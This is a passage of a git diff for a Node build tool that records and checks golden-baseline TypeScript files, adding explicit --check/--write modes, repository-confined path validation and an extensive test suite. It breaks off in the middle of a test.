Biome. Missing, unknown, or conflicting modes return status 2. + +`--check` compares configured exports. It does not establish refusal-guard coverage; retain the ordinary guard tests and architecture checks alongside the golden assertions. + +Run these checks before accepting a generated-file change: + +```bash +node scripts/record-drain-baseline.mjs --check +node scripts/record-audit-baseline.mjs --check +node scripts/record-migration-baseline.mjs --check +``` + +To record an intended baseline change, select its command: + +```bash +node scripts/record-drain-baseline.mjs --write +node scripts/record-audit-baseline.mjs --write +node scripts/record-migration-baseline.mjs --write +``` diff --git a/scripts/baseline-recorder.mjs b/scripts/baseline-recorder.mjs index 53b4b23d..0a4b747e 100644 --- a/scripts/baseline-recorder.mjs +++ b/scripts/baseline-recorder.mjs @@ -1,65 +1,68 @@ // SPDX-License-Identifier: Apache-2.0 -// The write/`--check` machinery every golden-baseline recorder shares. -// -// A golden baseline freezes the observable behavior of one function — the value -// it returns and the exact sequence of calls it makes onto its collaborators — -// as TypeScript literals recorded from a hand-authored deterministic world, so -// a later rewrite of that function can be proven behavior-equivalent. The -// mechanics are identical for every such baseline: parse `--check`, re-execute -// under Node's type transform, import the world, run it, and then either render -// the literals into exactly one generated file or compare the committed file -// against a fresh re-derivation. Only the DOMAIN differs, and each recorder -// supplies its domain as the config object documented on `runBaselineRecorder`. -// -// `--check` compares STRUCTURALLY — ordered arrays, ordered object keys, exact -// leaf values — so the compatibility gate never depends on formatter behavior, -// prints every difference, and exits non-zero without writing. -// -// This module is machinery, not a gate: each recorder's in-suite equivalence -// title is the automatic behavioral gate, and `--check` is the re-recording aid -// an author runs by hand. - import { spawnSync } from 'node:child_process'; -import { existsSync, writeFileSync } from 'node:fs'; +import { existsSync, realpathSync, statSync, writeFileSync } from 'node:fs'; import { register } from 'node:module'; -import { dirname, join, relative, resolve } from 'node:path'; +import { dirname, isAbsolute, relative, resolve, sep } from 'node:path'; import process from 'node:process'; import { fileURLToPath, pathToFileURL } from 'node:url'; +import { isMainThread } from 'node:worker_threads'; const REPOSITORY_ROOT = dirname(dirname(fileURLToPath(import.meta.url))); // `pnpm exec` rather than a hard-coded node_modules/.bin path, matching // build-api-docs.mjs; the .bin shim location is a pnpm implementation detail. const PNPM = process.platform === 'win32' ? 'pnpm.cmd' : 'pnpm'; -// Every path a recorder names is repository-relative, resolved here against the -// one `REPOSITORY_ROOT` this module already computes for itself. A recorder -// therefore carries no path machinery, and — because the string it configures -// is BOTH what gets resolved and what gets printed — no message can ever name a -// file the run did not touch. -function repositoryPath(relativePath) { - return join(REPOSITORY_ROOT, relativePath); +function repositoryPath(relativePath, field) { + if ( + typeof relativePath !== 'string' || + relativePath.length === 0 || + relativePath.includes('\0') || + isAbsolute(relativePath) || + /^[A-Za-z][A-Za-z0-9+.-]*:/u.test(relativePath) + ) { + throw new Error(`${field} must be a repository-relative filesystem path`); + } + const filePath = resolve(REPOSITORY_ROOT, relativePath); + const fromRoot = relative(REPOSITORY_ROOT, filePath); + if ( + fromRoot === '' || + fromRoot === '..' || + fromRoot.startsWith(`..${sep}`) || + isAbsolute(fromRoot) + ) { + throw new Error(`${field} must resolve to a path inside the repository`); + } + return filePath; } -/** The recorder's own repository-relative path, as its messages print it. */ function scriptPath(config) { - return relative(REPOSITORY_ROOT, fileURLToPath(config.scriptUrl)); + return relative(REPOSITORY_ROOT, fileURLToPath(config.scriptUrl)) + .split(sep) + .join('/'); } function usage(config, message) { process.stderr.write( - `${message}\nusage: node ${scriptPath(config)} [--check]\n`, + `${message}\nusage: node ${scriptPath(config)} --check | --write\n`, ); - process.exit(2); } function parseArguments(config, argv) { - let check = false; + let mode; for (const argument of argv) { - if (argument === '--check') check = true; - else usage(config, `unknown argument '${argument}'`); + if (argument !== '--check' && argument !== '--write') { + usage(config, `unknown argument '${argument}'`); + return undefined; + } + if (mode && mode !== argument) { + usage(config, 'conflicting modes: choose --check or --write'); + return undefined; + } + mode = argument; } - return { check }; + if (!mode) usage(config, 'missing mode: choose --check or --write'); + return mode; } // The fixture chain (and the function it drives) is TypeScript with parameter @@ -77,7 +80,7 @@ function reexecuteWithTypeTransform(config, argv) { { stdio: 'inherit' }, ); if (result.error) throw result.error; - process.exit(result.status ?? 1); + return result.status ?? 1; } // Test sources import sibling modules with `.js` specifiers, which Node does @@ -104,12 +107,10 @@ function registerTypeScriptResolution() { } function quoted(value) { - const escaped = value - .replaceAll('\\', '\\\\') - .replaceAll("'", "\\'") - .replaceAll('\n', '\\n') - .replaceAll('\r', '\\r') - .replaceAll('\t', '\\t'); + const escaped = JSON.stringify(value) + .slice(1, -1) + .replaceAll('\\"', '"') + .replaceAll("'", "\\'"); return `'${escaped}'`; } @@ -117,6 +118,7 @@ function primitive(value) { if (value === undefined) return 'undefined'; if (value === null) return 'null'; if (typeof value === 'string') return quoted(value); + if (Object.is(value, -0)) return '-0'; if (typeof value === 'number' || typeof value === 'boolean') { return String(value); } @@ -127,7 +129,70 @@ function isComposite(value) { return typeof value === 'object' && value !== null; } +function validateValue(value, path, ancestors = new Set()) { + if (!isComposite(value)) { + if ( + value === null || + value === undefined || + typeof value === 'string' || + typeof value === 'boolean' || + typeof value === 'number' + ) + return; + throw new Error( + `${path}: unsupported baseline value type '${typeof value}'`, + ); + } + const array = Array.isArray(value); + const prototype = Object.getPrototypeOf(value); + if ( + array + ? prototype !== Array.prototype + : prototype !== Object.prototype && prototype !== null + ) { + throw new Error(`${path}: expected a plain map or ordinary array`); + } + if (ancestors.has(value)) throw new Error(`${path}: cyclic baseline value`); + ancestors.add(value); + const keys = Reflect.ownKeys(value).filter( + (key) => !array || key !== 'length', + ); + if (array && keys.length !== value.length) { + throw new Error(`${path}: expected a dense array without extra properties`); + } + for (const [index, key] of keys.entries()) { + if (typeof key !== 'string') { + throw new Error(`${path}: symbol properties are unsupported`); + } + if (array && key !== String(index)) { + throw new Error( + `${path}: expected a dense array without extra properties`, + ); + } + const propertyPath = `${path}[${array ? key : JSON.stringify(key)}]`; + const descriptor = Object.getOwnPropertyDescriptor(value, key); + if (!descriptor.enumerable || !Object.hasOwn(descriptor, 'value')) { + throw new Error(`${propertyPath}: expected an enumerable data property`); + } + validateValue(descriptor.value, propertyPath, ancestors); + } + ancestors.delete(value); +} + +function configuredValue(values, key, path) { + if (!isComposite(values) || !Object.hasOwn(values, key)) { + throw new Error(`${path}: missing own property`); + } + const descriptor = Object.getOwnPropertyDescriptor(values, key); + if (!descriptor.enumerable || !Object.hasOwn(descriptor, 'value')) { + throw new Error(`${path}: expected an enumerable data property`); + } + validateValue(descriptor.value, path); + return descriptor.value; +} + function propertyKey(key) { + if (key === '__proto__') return "['__proto__']"; return /^[A-Za-z_$][A-Za-z0-9_$]*$/u.test(key) ? key : quoted(key); } @@ -146,15 +211,20 @@ function render(value) { } function baselineSource(config, baseline) { - const declarations = config.exports.map( - (declaration) => - `${declaration.jsDoc}\nexport const ${declaration.name} = ${render( - baseline[declaration.key], - )} as const satisfies ${declaration.satisfies};`, - ); + const declarations = config.exports.map((declaration) => { + const value = baseline[declaration.key]; + // TypeScript restricts const assertions to literal expressions. + const assertion = + value == null || (typeof value === 'number' && !Number.isFinite(value)) + ? '' + : ' as const'; + return `${declaration.jsDoc ? `${declaration.jsDoc}\n` : ''}export const ${declaration.name} = ${render(value)}${assertion} satisfies ${declaration.satisfies};`; + }); return `// SPDX-License-Identifier: Apache-2.0 -${config.header} +/** + * GENERATED FILE. DO NOT EDIT BY HAND. + */ ${config.imports} @@ -162,10 +232,10 @@ ${declarations.join('\n\n')} `; } -function formatGeneratedFile(baselineFile) { +function formatGeneratedFile(baselineFilePath) { const result = spawnSync( PNPM, - ['exec', 'biome', 'check', '--write', baselineFile], + ['exec', 'biome', 'check', '--write', baselineFilePath], { cwd: REPOSITORY_ROOT, stdio: ['ignore', 'ignore', 'inherit'] }, ); if (result.error) throw result.error; @@ -183,10 +253,6 @@ function describeValue(value) { return primitive(value); } -/** - * Structural comparison: ordered arrays, ordered object keys, exact leaf - * values. Formatting and quoting are deliberately outside the comparison. - */ function structuralDifferences(committed, derived, path, differences) { if (isComposite(committed) !== isComposite(derived)) { differences.push( @@ -195,7 +261,7 @@ function structuralDifferences(committed, derived, path, differences) { return differences; } if (!isComposite(committed)) { - if (committed !== derived) { + if (!Object.is(committed, derived)) { differences.push( `${path}: committed ${primitive(committed)} / derived ${primitive(derived)}`, ); @@ -234,12 +300,22 @@ function structuralDifferences(committed, derived, path, differences) { } const committedKeys = Object.keys(committed); const derivedKeys = Object.keys(derived); - if (committedKeys.join(',') !== derivedKeys.join(',')) { + if ( + committedKeys.length !== derivedKeys.length || + committedKeys.some((key, index) => key !== derivedKeys[index]) + ) { differences.push( - `${path}: committed keys [${committedKeys.join(', ')}] / derived keys [${derivedKeys.join(', ')}]`, + `${path}: committed keys ${JSON.stringify(committedKeys)} / derived keys ${JSON.stringify(derivedKeys)}`, ); } for (const key of new Set([...committedKeys, ...derivedKeys])) { + if (!Object.hasOwn(committed, key) || !Object.hasOwn(derived, key)) { + const onlyDerived = !Object.hasOwn(committed, key); + const side = onlyDerived ? 'derived only' : 'committed only'; + const value = onlyDerived ? derived[key] : committed[key]; + differences.push(`${path}.${key}: ${side} ${describeValue(value)}`); + continue; + } structuralDifferences( committed[key], derived[key], @@ -251,36 +327,54 @@ function structuralDifferences(committed, derived, path, differences) { } async function main(config, argv) { - const { check } = parseArguments(config, argv); + const mode = parseArguments(config, argv); + if (!mode) return 2; if (process.features.typescript !== 'transform') { - reexecuteWithTypeTransform(config, argv); + return reexecuteWithTypeTransform(config, argv); } registerTypeScriptResolution(); - const baselineFile = repositoryPath(config.baselineFile); - const baseline = await config.run( - await import(repositoryPath(config.worldModule)), - ); + const baselineFilePath = repositoryPath(config.baselineFile, 'baselineFile'); + const worldModulePath = repositoryPath(config.worldModule, 'worldModule'); + if (!existsSync(worldModulePath)) { + process.stderr.write( + `${config.noun} world is missing: ${config.worldModule}\n`, + ); + return 1; + } + const world = await import(pathToFileURL(worldModulePath).href); + const baseline = await config.run(world); + for (const declaration of config.exports) { + configuredValue( + baseline, + declaration.key, + `derived key '${declaration.key}'`, + ); + } - if (!check) { - writeFileSync(baselineFile, baselineSource(config, baseline)); - formatGeneratedFile(baselineFile); + if (mode === '--write') { + writeFileSync(baselineFilePath, baselineSource(config, baseline)); + formatGeneratedFile(baselineFilePath); process.stdout.write( `wrote ${config.baselineFile}: ${config.summary(baseline)}\n`, ); return 0; } - if (!existsSync(baselineFile)) { + if (!existsSync(baselineFilePath)) { process.stderr.write( `${config.noun} baseline is missing: ${config.baselineFile}\n` + - `run \`node ${scriptPath(config)}\` on the pre-rewrite tree\n`, + `run \`node ${scriptPath(config)} --write\` to record the baseline\n`, ); return 1; } - const committed = await import(baselineFile); + const committed = await import(pathToFileURL(baselineFilePath).href); const differences = config.exports.flatMap((declaration) => structuralDifferences( - committed[declaration.name], + configuredValue( + committed, + declaration.name, + `committed export '${declaration.name}'`, + ), baseline[declaration.key], declaration.key, [], @@ -301,34 +395,51 @@ async function main(config, argv) { } /** - * Runs one golden-baseline recorder, when its own file is the invoked entry. + * Runs a recorder entry with explicit `--check` or `--write`. * - * The config is the recorder's whole domain, and nothing else — no path - * machinery, and no message-only path string that could drift out of step with - * the file the run actually reads or writes: - * - `scriptUrl` — the recorder's `import.meta.url`, which gates this call, names - * the file the type-transform re-execution re-runs, and yields the - * repository-relative path the usage line and the re-recording hint print. - * - `noun` — the domain noun the `--check` messages read as - * " baseline is missing/matches/drifted from". - * - `worldModule` — the hand-authored world, repository-relative. - * - `baselineFile` — the one file write mode writes, repository-relative. The - * same string is resolved for every read and write AND printed in every - * message, so the two can never disagree. - * - `run(worldModule)` — drives the world(s) and returns the baseline object - * the `exports` keys index. - * - `header` / `imports` — the generated file's leading comment block and its - * import lines, verbatim. - * - `exports` — one entry per generated export: `name`, the baseline `key` it - * renders (which also names it in `--check` differences), its `jsDoc` block, - * and the `satisfies` type expression that gates the literals. - * - `summary(baseline)` — the one-line count the write and match messages - * report. + * Configure `scriptUrl: import.meta.url`, repository-relative `worldModule` + * and `baselineFile` paths, `run(world)`, `noun`, `summary(baseline)`, and + * generated `imports`. Each `exports` declaration supplies `name`, a derived + * `key`, a `satisfies` type expression, and optional `jsDoc`. + * + * Selected values support undefined, null, strings, booleans, numbers, dense + * ordinary arrays, and plain or null-prototype maps with enumerable string + * data properties. Map prototypes and shared references are not preserved; + * key order and undefined-valued key presence are significant. */ export async function runBaselineRecorder(config) { - const invokedPath = process.argv[1] - ? pathToFileURL(resolve(process.argv[1])).href - : undefined; - if (invokedPath !== config.scriptUrl) return; - process.exit(await main(config, process.argv.slice(2))); + const entry = process.argv[1]; + if (!entry) return; + let scriptUrl; + try { + scriptUrl = new URL(config.scriptUrl); + } catch { + throw new Error('recorder scriptUrl must be a file URL'); + } + if (scriptUrl.protocol !== 'file:') { + throw new Error('recorder scriptUrl must be a file URL'); + } + const recorderFilePath = realpathSync(fileURLToPath(scriptUrl)); + if (!statSync(recorderFilePath).isFile()) { + throw new Error('recorder scriptUrl must name a file'); + } + // Worker files inherit the parent process's eval flags. + if ( + entry === '-' || + (!isMainThread && !isAbsolute(entry)) || + (isMainThread && + process.execArgv.some((argument) => + /^(?:-[ep]|--(?:eval|print)(?:=|$))/u.test(argument), + )) + ) + return; + let invokedFilePath; + try { + invokedFilePath = realpathSync(resolve(entry)); + } catch (error) { + if (error?.code === 'ENOENT' || error?.code === 'ENOTDIR') return; + throw error; + } + if (invokedFilePath !== recorderFilePath) return; + process.exitCode = await main(config, process.argv.slice(2)); } diff --git a/scripts/baseline-recorder.test.mjs b/scripts/baseline-recorder.test.mjs new file mode 100644 index 00000000..df208257 --- /dev/null +++ b/scripts/baseline-recorder.test.mjs @@ -0,0 +1,1067 @@ +// SPDX-License-Identifier: Apache-2.0 + +import assert from 'node:assert/strict'; +import { spawn } from 'node:child_process'; +import { + chmodSync, + copyFileSync, + existsSync, + mkdirSync, + mkdtempSync, + readFileSync, + rmSync, + symlinkSync, + writeFileSync, +} from 'node:fs'; +import { createRequire } from 'node:module'; +import { tmpdir } from 'node:os'; +import { delimiter, dirname, join, resolve } from 'node:path'; +import { test } from 'node:test'; +import { fileURLToPath, pathToFileURL } from 'node:url'; + +const repositoryRoot = dirname(dirname(fileURLToPath(import.meta.url))); + +function put(root, path, source) { + const target = join(root, path); + mkdirSync(dirname(target), { recursive: true }); + writeFileSync(target, source); + return target; +} + +function fixture( + t, + { + value = '{ answer: 42 }', + committed = `export const BASELINE = ${value};`, + worldModule = 'fixtures/world.ts', + baselineFile = 'fixtures/baseline.ts', + world = `export function run() { return { value: ${value} }; }`, + config = '', + before = '', + after = '', + } = {}, +) { + const directory = mkdtempSync(join(tmpdir(), 'anchorage-baseline-recorder-')); + t.after(() => rmSync(directory, { recursive: true, force: true })); + const root = join(directory, 'repo'); + mkdirSync(join(root, 'scripts'), { recursive: true }); + copyFileSync( + join(repositoryRoot, 'scripts/baseline-recorder.mjs'), + join(root, 'scripts/baseline-recorder.mjs'), + ); + const { packageManager } = JSON.parse( + readFileSync(join(repositoryRoot, 'package.json'), 'utf8'), + ); + put( + root, + 'package.json', + `${JSON.stringify({ type: 'module', packageManager })}\n`, + ); + symlinkSync( + join(repositoryRoot, 'node_modules'), + join(root, 'node_modules'), + 'junction', + ); + put( + root, + 'biome.json', + '{"javascript":{"formatter":{"quoteStyle":"single"}}}\n', + ); + const events = join(root, 'events.log'); + const mark = `import { appendFileSync } from 'node:fs'; +const mark = (event) => appendFileSync(${JSON.stringify(events)}, event + '\\n');`; + const worldPath = put( + root, + worldModule, + `${mark}\nmark('import');\n${world}`, + ); + const baselinePath = + committed === null + ? join(root, baselineFile) + : put(root, baselineFile, committed); + const entry = put( + root, + 'scripts/record.mjs', + `${mark} +${before} +const { runBaselineRecorder } = await import('./baseline-recorder.mjs'); +await runBaselineRecorder({ + scriptUrl: import.meta.url, + noun: 'fixture', + worldModule: ${JSON.stringify(worldModule)}, + baselineFile: ${JSON.stringify(baselineFile)}, + run: async (world) => { mark('run'); return await world.run(); }, + imports: '', + exports: [{ name: 'BASELINE', key: 'value', satisfies: 'unknown' }], + summary: () => 'fixture summary', + ${config} +}); +${after} +`, + ); + return { + root, + directory, + entry, + events, + worldPath, + baselinePath, + baselineFile, + }; +} + +async function run( + f, + argv = ['--check'], + { + flags = ['--experimental-transform-types'], + entry = f.entry, + cwd = f.directory, + env = {}, + input, + } = {}, +) { + const child = spawn( + process.execPath, + ['--no-warnings', ...flags, entry, ...argv], + { + cwd, + env: { + ...process.env, + NODE_OPTIONS: '', + COREPACK_ENABLE_NETWORK: '0', + COREPACK_ENABLE_AUTO_PIN: '0', + ...env, + }, + stdio: [input === undefined ? 'ignore' : 'pipe', 'pipe', 'pipe'], + detached: process.platform !== 'win32', + }, + ); + let stdout = ''; + let stderr = ''; + let timedOut = false; + if (input !== undefined) child.stdin.end(input); + child.stdout.setEncoding('utf8').on('data', (chunk) => { + stdout += chunk; + }); + child.stderr.setEncoding('utf8').on('data', (chunk) => { + stderr += chunk; + }); + const timer = setTimeout(() => { + timedOut = true; + if (process.platform === 'win32') child.kill('SIGKILL'); + else process.kill(-child.pid, 'SIGKILL'); + }, 15_000); + try { + const result = await new Promise((resolve, reject) => { + child.once('error', reject); + child.once('close', (status, signal) => resolve({ status, signal })); + }); + assert.equal( + timedOut, + false, + `recorder watchdog expired\n${stdout}\n${stderr}`, + ); + assert.equal(result.signal, null, stderr); + return { ...result, stdout, stderr }; + } finally { + clearTimeout(timer); + } +} + +function activity(f) { + return existsSync(f.events) ? readFileSync(f.events, 'utf8') : ''; +} + +function matchOutput(f) { + return `fixture baseline matches ${f.baselineFile}: fixture summary\n`; +} + +function assertError(result, message) { + assert.equal(result.status, 1, result.stderr); + assert.equal(result.stdout, ''); + assert.ok( + result.stderr.split('\n').includes(`Error: ${message}`), + result.stderr, + ); +} + +for (const [argv, diagnostic] of [ + [[], 'missing mode: choose --check or --write'], + [['--unknown'], "unknown argument '--unknown'"], + [['--check', '--unknown'], "unknown argument '--unknown'"], + [['--write', '--unknown'], "unknown argument '--unknown'"], + [['--check', '--write'], 'conflicting modes: choose --check or --write'], + [['--write', '--check'], 'conflicting modes: choose --check or --write'], +]) { + test(`rejects modes ${JSON.stringify(argv)} before world execution`, async (t) => { + const f = fixture(t, { after: "mark('returned');" }); + const before = readFileSync(f.baselinePath); + const result = await run(f, argv, { flags: [] }); + assert.equal(result.status, 2, result.stderr); + assert.equal(result.stdout, ''); + assert.equal( + result.stderr, + `${diagnostic}\nusage: node scripts/record.mjs --check | --write\n`, + ); + assert.equal(activity(f), 'returned\n'); + assert.deepEqual(readFileSync(f.baselinePath), before); + }); +} + +test('repeated check mode matches outside the repository without writing', async (t) => { + const f = fixture(t); + const before = readFileSync(f.baselinePath); + const result = await run(f, ['--check', '--check']); + assert.equal(result.status, 0, result.stderr); + assert.equal(result.stdout, matchOutput(f)); + assert.equal(result.stderr, ''); + assert.equal(activity(f), 'import\nrun\n'); + assert.deepEqual(readFileSync(f.baselinePath), before); +}); + +for (const entryKind of [ + 'direct', + 'file symlink', + 'directory symlink', + 'encoded script URL', +]) { + test(`${entryKind} reports drift and preserves the target`, async (t) => { + const f = fixture(t, { + committed: 'export const BASELINE = { answer: 41 };', + config: + entryKind === 'encoded script URL' + ? "scriptUrl: import.meta.url.replace('record.mjs', '%72ecord.mjs')," + : '', + }); + let entry = f.entry; + if (entryKind === 'file symlink') { + entry = join(f.directory, 'linked.mjs'); + symlinkSync(f.entry, entry, 'file'); + } else if (entryKind === 'directory symlink') { + const linked = join(f.directory, 'linked'); + symlinkSync(f.root, linked, 'junction'); + entry = join(linked, 'scripts/record.mjs'); + } + const before = readFileSync(f.baselinePath); + const result = await run(f, ['--check'], { entry, flags: [] }); + assert.equal(result.status, 1, result.stderr); + assert.equal(result.stdout, ''); + assert.equal( + result.stderr, + `fixture baseline drifted from fixtures/baseline.ts\n1 structural difference(s), committed vs re-derived from the unchanged world:\n value.answer: committed 41 / derived 42\n`, + ); + assert.equal(activity(f), 'import\nrun\n'); + assert.deepEqual(readFileSync(f.baselinePath), before); + }); +} + +test('an importing entry remains inert and keeps its exit status', async (t) => { + const f = fixture(t); + const before = readFileSync(f.baselinePath); + const entry = put( + f.root, + 'importer.mjs', + `process.exitCode = 7; await import('./scripts/record.mjs');`, + ); + const result = await run(f, ['--write'], { entry, flags: [] }); + assert.equal(result.status, 7, result.stderr); + assert.equal(result.stdout + result.stderr, ''); + assert.equal(activity(f), ''); + assert.deepEqual(readFileSync(f.baselinePath), before); +}); + +for (const alias of [false, true]) { + test(`stdin imports stay inert with an existing dash alias ${alias}`, async (t) => { + const f = fixture(t); + if (alias) symlinkSync(f.entry, join(f.directory, '-'), 'file'); + const before = readFileSync(f.baselinePath); + const result = await run(f, ['--write'], { + entry: '-', + flags: ['--input-type=module'], + input: `process.exitCode = 7; await import(${JSON.stringify(pathToFileURL(f.entry).href)});`, + }); + assert.equal(result.status, 7, result.stderr); + assert.equal(result.stdout + result.stderr, ''); + assert.equal(activity(f), ''); + assert.deepEqual(readFileSync(f.baselinePath), before); + }); +} + +for (const option of [ + '-e', + '--eval', + '--eval=', + '-p', + '--print', + '--print=true', +]) { + for (const matchingFile of [false, true]) { + test(`${option} imports stay inert with a matching file argument ${matchingFile}`, async (t) => { + const f = fixture(t); + const before = readFileSync(f.baselinePath); + const program = `process.exitCode = 7; void import(${JSON.stringify(pathToFileURL(f.entry).href)});`; + const positional = matchingFile ? f.entry : 'not-a-script'; + const attached = option.endsWith('='); + const result = await run( + f, + attached ? ['--write'] : [positional, '--write'], + { + flags: [attached ? `${option}${program}` : option], + entry: attached ? positional : program, + }, + ); + assert.equal(result.status, 7, result.stderr); + assert.equal(result.stdout, option.includes('p') ? 'undefined\n' : ''); + assert.equal(result.stderr, ''); + assert.equal(activity(f), ''); + assert.deepEqual(readFileSync(f.baselinePath), before); + }); + } +} + +test('an absent importing entry path stays inert', async (t) => { + const f = fixture(t); + const before = readFileSync(f.baselinePath); + const entry = put( + f.root, + 'importer.mjs', + "process.exitCode = 7; process.argv[1] = 'missing-importer.mjs'; await import('./scripts/record.mjs');", + ); + const result = await run(f, ['--write'], { entry }); + assert.equal(result.status, 7, result.stderr); + assert.equal(result.stdout + result.stderr, ''); + assert.equal(activity(f), ''); + assert.deepEqual(readFileSync(f.baselinePath), before); +}); + +test('a worker file remains an entry when its parent uses eval', async (t) => { + const f = fixture(t); + const program = `const { Worker } = require('node:worker_threads'); +const worker = new Worker(${JSON.stringify(f.entry)}, { argv: ['--check'], stdout: true, stderr: true }); +worker.stdout.pipe(process.stdout); +worker.stderr.pipe(process.stderr); +worker.on('error', error => { throw error; }); +worker.on('exit', code => { process.exitCode = code; });`; + const result = await run(f, [], { flags: ['-e'], entry: program }); + assert.equal(result.status, 0, result.stderr); + assert.equal(result.stdout, matchOutput(f)); + assert.equal(result.stderr, ''); + assert.equal(activity(f), 'import\nrun\n'); +}); + +test('an eval worker import stays inert when its virtual name aliases the recorder', async (t) => { + const f = fixture(t); + symlinkSync(f.entry, join(f.directory, '[worker eval]'), 'file'); + const before = readFileSync(f.baselinePath); + const program = `process.exitCode = 7; void import(${JSON.stringify(pathToFileURL(f.entry).href)});`; + const entry = put( + f.root, + 'worker-importer.cjs', + `const { Worker } = require('node:worker_threads'); +const worker = new Worker(${JSON.stringify(program)}, { eval: true, argv: ['--write'], stdout: true, stderr: true }); +worker.stdout.pipe(process.stdout); +worker.stderr.pipe(process.stderr); +worker.on('error', error => { throw error; }); +worker.on('exit', code => { process.exitCode = code; });`, + ); + const result = await run(f, [], { entry }); + assert.equal(result.status, 7, result.stderr); + assert.equal(result.stdout + result.stderr, ''); + assert.equal(activity(f), ''); + assert.deepEqual(readFileSync(f.baselinePath), before); +}); + +test('an absent argv entry remains inert even without a configured URL', async (t) => { + const f = fixture(t, { + before: 'process.argv.splice(1); process.exitCode = 7;', + config: 'scriptUrl: undefined,', + }); + const result = await run(f, ['--write']); + assert.equal(result.status, 7, result.stderr); + assert.equal(result.stdout + result.stderr, ''); + assert.equal(activity(f), ''); +}); + +for (const scriptUrl of [ + "'not a URL'", + "'https://example.invalid/recorder.mjs'", + "'data:text/javascript,'", +]) { + test(`rejects invalid recorder identity ${scriptUrl}`, async (t) => { + const f = fixture(t, { config: `scriptUrl: ${scriptUrl},` }); + assertError(await run(f), 'recorder scriptUrl must be a file URL'); + assert.equal(activity(f), ''); + }); +} + +test('a missing script URL target fails loudly', async (t) => { + const f = fixture(t, { + config: "scriptUrl: new URL('./missing.mjs', import.meta.url),", + }); + const result = await run(f); + assert.equal(result.status, 1); + assert.match(result.stderr, /Error: ENOENT:.*missing\.mjs/); + assert.equal(result.stdout, ''); + assert.equal(activity(f), ''); +}); + +test('a directory script URL target fails loudly', async (t) => { + const f = fixture(t, { + config: "scriptUrl: new URL('./', import.meta.url),", + }); + assertError(await run(f), 'recorder scriptUrl must name a file'); + assert.equal(activity(f), ''); +}); + +for (const flags of [[], ['--experimental-transform-types']]) { + test(`type transformation and .js resolution run once with ${JSON.stringify(flags)}`, async (t) => { + const f = fixture(t, { + world: `import { Box } from './box.js'; import { choice } from './choice.js'; +export function run() { return { value: { answer: new Box(42).value, choice } }; }`, + committed: `export const BASELINE = { answer: 42, choice: 'js' };`, + after: "mark('returned');", + }); + put( + f.root, + 'fixtures/box.ts', + 'export class Box { constructor(public value: number) {} }', + ); + put(f.root, 'fixtures/choice.js', "export const choice = 'js';"); + put(f.root, 'fixtures/choice.ts', "export const choice = 'ts';"); + const result = await run(f, ['--check'], { flags }); + assert.equal(result.status, 0, result.stderr); + assert.equal(result.stdout, matchOutput(f)); + assert.equal(result.stderr, ''); + assert.equal( + activity(f), + `import\nrun\nreturned\n${flags.length === 0 ? 'returned\n' : ''}`, + ); + }); +} + +test('transform child errors return to the parent without another world run', async (t) => { + const f = fixture(t, { + world: "export function run() { throw new Error('WORLD_REFUSED'); }", + after: "mark('returned');", + }); + assertError(await run(f, ['--check'], { flags: [] }), 'WORLD_REFUSED'); + assert.equal(activity(f), 'import\nrun\nreturned\n'); +}); + +test('preserves a transform child exit status set during natural completion', async (t) => { + const f = fixture(t, { + world: `export function run() { + process.once('beforeExit', () => { process.exitCode = 23; }); + return { value: { answer: 42 } }; + }`, + after: "mark('returned');", + }); + const result = await run(f, ['--check'], { flags: [] }); + assert.equal(result.status, 23, result.stderr); + assert.equal(result.stdout, matchOutput(f)); + assert.equal(result.stderr, ''); + assert.equal(activity(f), 'import\nrun\nreturned\nreturned\n'); +}); + +test('transform child spawn errors remain failures', async (t) => { + const f = fixture(t, { + before: + "Object.defineProperty(process, 'execPath', { value: '/missing-recorder-node' });", + }); + const result = await run(f, ['--check'], { flags: [] }); + assert.equal(result.status, 1); + assert.match(result.stderr, /spawnSync \/missing-recorder-node ENOENT/); + assert.equal(result.stdout, ''); + assert.equal(activity(f), ''); +}); + +test('signal termination of a transform child returns failure', { + skip: process.platform === 'win32', +}, async (t) => { + const f = fixture(t, { + world: "export function run() { process.kill(process.pid, 'SIGTERM'); }", + after: "mark('returned');", + }); + const result = await run(f, ['--check'], { flags: [] }); + assert.equal(result.status, 1); + assert.equal(result.stdout + result.stderr, ''); + assert.equal(activity(f), 'import\nrun\nreturned\n'); +}); + +for (const flags of [[], ['--experimental-transform-types']]) { + test(`drains the complete large report with ${JSON.stringify(flags)}`, async (t) => { + const rows = Array.from( + { length: 4096 }, + (_, index) => `row-${index}-${'x'.repeat(80)}`, + ); + const f = fixture(t, { + value: JSON.stringify([...rows, 'DERIVED_FINAL_SENTINEL']), + committed: `export const BASELINE = ${JSON.stringify([...rows.map((row) => `old-${row}`), 'COMMITTED_FINAL_SENTINEL'])};`, + }); + const expected = [ + ...rows.map( + (row, index) => + ` value[${index}]: committed 'old-${row}' / derived '${row}'`, + ), + ` value[4096]: committed 'COMMITTED_FINAL_SENTINEL' / derived 'DERIVED_FINAL_SENTINEL'`, + ]; + const result = await run(f, ['--check'], { flags }); + assert.equal(result.status, 1); + assert.equal(result.stdout, ''); + assert.deepEqual(result.stderr.split('\n'), [ + 'fixture baseline drifted from fixtures/baseline.ts', + '4097 structural difference(s), committed vs re-derived from the unchanged world:', + ...expected, + '', + ]); + }); +} + +test('file URL imports preserve spaces, percent, query and fragment characters', async (t) => { + const f = fixture(t, { + worldModule: 'fixtures/space % # ?/world.ts', + baselineFile: 'fixtures/space % # ?/baseline.ts', + }); + const result = await run(f); + assert.equal(result.status, 0, result.stderr); + assert.equal(result.stdout, matchOutput(f)); + assert.equal(result.stderr, ''); +}); + +for (const field of ['worldModule', 'baselineFile']) { + for (const [path, diagnostic] of [ + ['', 'repository-relative filesystem path'], + [null, 'repository-relative filesystem path'], + [42, 'repository-relative filesystem path'], + [resolve('/absolute-recorder.ts'), 'repository-relative filesystem path'], + ['file:///world.ts', 'repository-relative filesystem path'], + ['https://example.invalid/world.ts', 'repository-relative filesystem path'], + ['data:text/javascript,', 'repository-relative filesystem path'], + ['../outside.ts', 'resolve to a path inside the repository'], + ['fixtures/../../outside.ts', 'resolve to a path inside the repository'], + ['.', 'resolve to a path inside the repository'], + ['fixtures/..', 'resolve to a path inside the repository'], + ]) { + test(`refuses ${field} ${JSON.stringify(path)} before world execution`, async (t) => { + const f = fixture(t, { config: `${field}: ${JSON.stringify(path)},` }); + const before = readFileSync(f.baselinePath); + const prefix = diagnostic.startsWith('resolve') ? 'must' : 'must be a'; + assertError( + await run(f, ['--write']), + `${field} ${prefix} ${diagnostic}`, + ); + assert.equal(activity(f), ''); + assert.deepEqual(readFileSync(f.baselinePath), before); + }); + } +} + +test('normalizes relative paths within the repository', async (t) => { + const f = fixture(t, { + config: + 